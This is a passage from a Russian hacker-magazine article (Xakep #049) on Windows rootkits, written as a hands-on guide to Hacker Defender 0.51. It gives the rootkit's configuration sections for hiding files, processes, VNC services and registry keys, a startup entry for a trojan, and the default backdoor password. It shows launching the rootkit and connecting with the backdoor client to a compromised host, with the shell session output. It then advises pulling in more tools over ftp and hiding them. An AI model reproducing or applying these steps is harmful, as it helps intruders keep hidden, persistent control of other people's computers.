Что такое win r00tkits и что с ними делать
Xakep, номер #049, стр. 049-064-4
[Hidden Table]
~ ъ@ѕ.exe # читай ниже
mystuff*
fscan.exe
fgring.exe
dsniff.exe
hxdef* # сам руткит тоже надо скрыть!
Далее [Root Processes] - программы, которые будут свободны от инфекции (то есть смогут получать реальные результаты выполнения API), например:
[Root Processes]
~ ъ@ѕ.exe # читай ниже
fscan.exe
fgring.exe
dsniff.exe
hxdef*
Теперь проги fscan, fgrind, dsniff и сам руткит смогут получать верные данные (т.е. видеть скрытые файлы, каталоги и т.д.). Возможно, тебе еще понадобится скрывать всякие сервисы (например, VNC), тогда пиши:
[Hidden Services]
WinVNC*
HackerDefender* # это дефолтное имя "руткит-сервиса".
Хотя для установки VNC надо еще добавить некоторые ключи реестра, которые тоже желательно скрыть:
[Hidden RegKeys]
WinVNC*
HackerDefender051 # регключ руткита
LEGACY_HACKERDEFENDER051 # регключ руткита
А если тебе надо что-нибудь запустить во время старта системы, то используй [Startup Run]:
[Startup Run]
C:\mystuff\troyan.exe
[Password] - используется бэкдором. Вот о нем и поговорим. Для корректной работы он перехватывает некоторые API функции, связанные с получением пакетов из сети, и если поступающие данные равняются 256-битному ключу, то в каталоге temp создается копия шелла с именем "~ ъ@ѕ.exe", который, естественно, будет скрыт, но к счастью все это происходит после проверки пароля (чего нельзя сказать о _root_040):
[Password]
hxdef-rulez
Это дефолтный пароль, запомни его, может быть, пригодится :). Как видишь, обычным телнетом сюда не войдешь, нужен специальный клиент. Но о нем позже. Запускаем руткит (хорошо еще, что все делается через командную строку, а то представляю себе небольшое окошко с крутой кнопкой InFec7eD :), тогда бы уже пошли мучения для удаленного пользователя): C:\mystuff>hxdef051.exe. Все, теперь указанные папки/файлы/сервисы и ключи реестра скрыты, пора проверить бэкдор. Я запустил стандартную версию службы telnet на взломанной машине. Теперь берем клиент и коннектимся:
C:\>bdcli051.exe (или так: C:\>bdcli051.exe 169.254.173.210 23 hxdef-rulez, то есть формата host port password)
Host: 169.254.173.210
Port: 23
Pass: hxdef-rulez
connecting server...
receiving banner...
opening backdoor...
backdoor found
checking backdoor .....
backdoor ready
authorization sent, waiting for reply
authorization - SUCCESSFUL
backdoor activated!
close shell and all progz to end session
Microsoft Windows 2000 [Версия 5.00.2195]
C:\WINNT\system32> _
Мда, до боли знакомая строчка :). Теперь ты можешь делать все что угодно... Во-первых, команды будут получать реальные данные (помнишь [Root Processed]?). Во-вторых, ты можешь перезапускать руткит в соответствии с новыми данными конфига: C:\>hxdef051.exe -:refresh. Что еще можно сделать? Многое! Ведь ты теперь получил интерактивный доступ к шеллу. Теперь ты можешь через ftp накачать уйму программ (eq дополнительные утилиты командной строки, сканеры всякие, если хочешь графического управления, то скачай VNC). Только потом не забудь перезапустить руткит, предварительно добавив имена прог в [Hidden Tables] и [Root Processes] (вспомни команду echo в шелле). Как закончишь, смело выходи командой exit :). А теперь попробуем ввести левый пароль: